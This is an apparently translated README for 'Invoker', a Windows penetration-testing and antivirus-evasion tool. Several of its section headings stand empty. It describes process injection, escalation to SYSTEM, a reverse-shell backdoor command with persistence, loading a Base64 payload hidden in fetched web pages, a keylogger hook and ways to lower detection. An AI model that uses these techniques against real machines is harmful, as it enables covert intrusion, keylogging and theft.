
Utilitaire de test d'intrusion et outil d'évaluation antivirus.
Utilitaire de test de pénétration et outil d'évaluation antivirus.
Construit avec Visual Studio Community 2022 v17.5.4 (64 bits) et testé sur Windows 10 Entreprise OS (64 bits).
Conçu à des fins éducatives. J'espère que cela vous aidera !
Ce dépôt a commencé à avoir des signatures connues et je n'ai pas le temps de télécharger de nouveaux exécutables à chaque fois, donc vous devriez compiler ce projet vous-même.
Sites web utiles :
À faire :
NtCreateProcessEx ne fonctionne pas bien avec les processus 32 bits.Projets futurs :
Choses que je garde à l'esprit en codant :
Tout ce qui précède fera que votre PE aura une taille plus petite et un taux de détection moindre.
Fonctionnalités :
Consultez la bibliothèque Invoker ici. N'hésitez pas à l'utiliser !
Certaines fonctionnalités peuvent nécessiter un privilège administratif.
Certaines fonctionnalités peuvent ne pas fonctionner sur Windows XP et versions antérieures en raison de certains droits d'accès et drapeaux de contrôle spécifiques utilisés.
Exécutez Invoker_x86.exe (32 bits) ou Invoker_x64.exe (64 bits).
Pour automatiser la backdoor du reverse shell tout en ajoutant de la persistance, exécutez la commande suivante :
Invoker_x64.exe 192.168.8.5:9000
Invoker 32 bits peut :
Invoker 64 bits peut :
Notez que chaque technique d'injection a ses avantages et inconvénients ; par exemple, certaines techniques nécessitent moins de droits d'accès, utilisent des méthodes moins suspectes, etc., mais peuvent par exemple planter le processus, nécessiter du temps et d'autres conditions spéciales pour exécuter la charge utile, etc.
Notez que certains implants C2C peuvent ne pas fonctionner après la libération de la mémoire. Dans ce cas, commentez les méthodes comme VirtualFreeEx, NtFreeVirtualMemory, etc.
Élevez les privilèges en injectant du bytecode dans un processus à privilèges plus élevés.
Cet outil peut télécharger le contenu d'un fichier binaire en mémoire et l'injecter dans un processus en cours. Il peut également analyser une réponse HTTP et extraire la charge utile d'un élément personnalisé, par exemple de <invoker>payload</invoker> où payload est un code binaire encodé en Base64.
Consultez l'exemple sur pastebin.com/raw/xf9Trt0d.
Ceci est utile si l'antivirus supprime constamment vos charges utiles locales.
Consultez un exemple supplémentaire sur pastebin.com/raw/iW17rCxH - charge utile cachée dans l'élément image.
P.S. Les bytecodes fournis ne fonctionneront très probablement pas pour vous.
Utilisez ngrok pour donner à votre serveur web local une adresse publique.
Pour voir si un processus est 32 bits ou 64 bits, ouvrez le Gestionnaire des tâches -> cliquez sur Plus de détails -> allez dans l'onglet Détails -> faites un clic droit sur l'une des colonnes -> cliquez sur Sélectionner les colonnes -> cochez la case Plateforme.
Pour voir si un processus s'exécute avec un privilège administratif, cochez la case Élevé.
Découvrez comment générer une charge utile de reverse shell à partir de mon autre projet, ainsi que comment configurer les écouteurs Ncat et multi/handler.
L'injection de bytecode peut échouer car le bytecode peut avoir des caractères incorrects, une mauvaise fonction de sortie ou un encodage ; l'injection de DLL est plus fiable.
Si vous souhaitez exécuter un reverse shell ou un bind shell PowerShell à partir de l'Invoker, ouvrez l'Invoker et démarrez une session PowerShell, puis exécutez l'un des one-liners (de mon autre projet).
La bibliothèque d'appels système directs et l'assembly ont été générés avec SysWhispers2. Crédits à l'auteur !
Pour générer la même bibliothèque et assembly, exécutez la commande suivante depuis votre console préférée :
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
Consultez mon wrapper autour de la bibliothèque et de l'assembly ici. N'hésitez pas à l'utiliser !
Consultez la DLL simple avec une procédure de hook ici. La procédure de hook invoquera une boîte de message à chaque fermeture de fenêtre.
Consultez la procédure de hook clavier (c'est-à-dire keylogger) ici.
Consultez la procédure de hook souris qui exécutera un nouveau processus au premier clic de souris ici.
N'oubliez pas de supprimer tous les artefacts créés après avoir terminé les tests, par exemple supprimez keylogger.log, etc.
Suivez ces étapes simples :
whoami, vous devriez maintenant voir nt authority\system.
Figure 1 - Invoker

Figure 2 - Injection de bytecode

Figure 3 - Privilèges élevés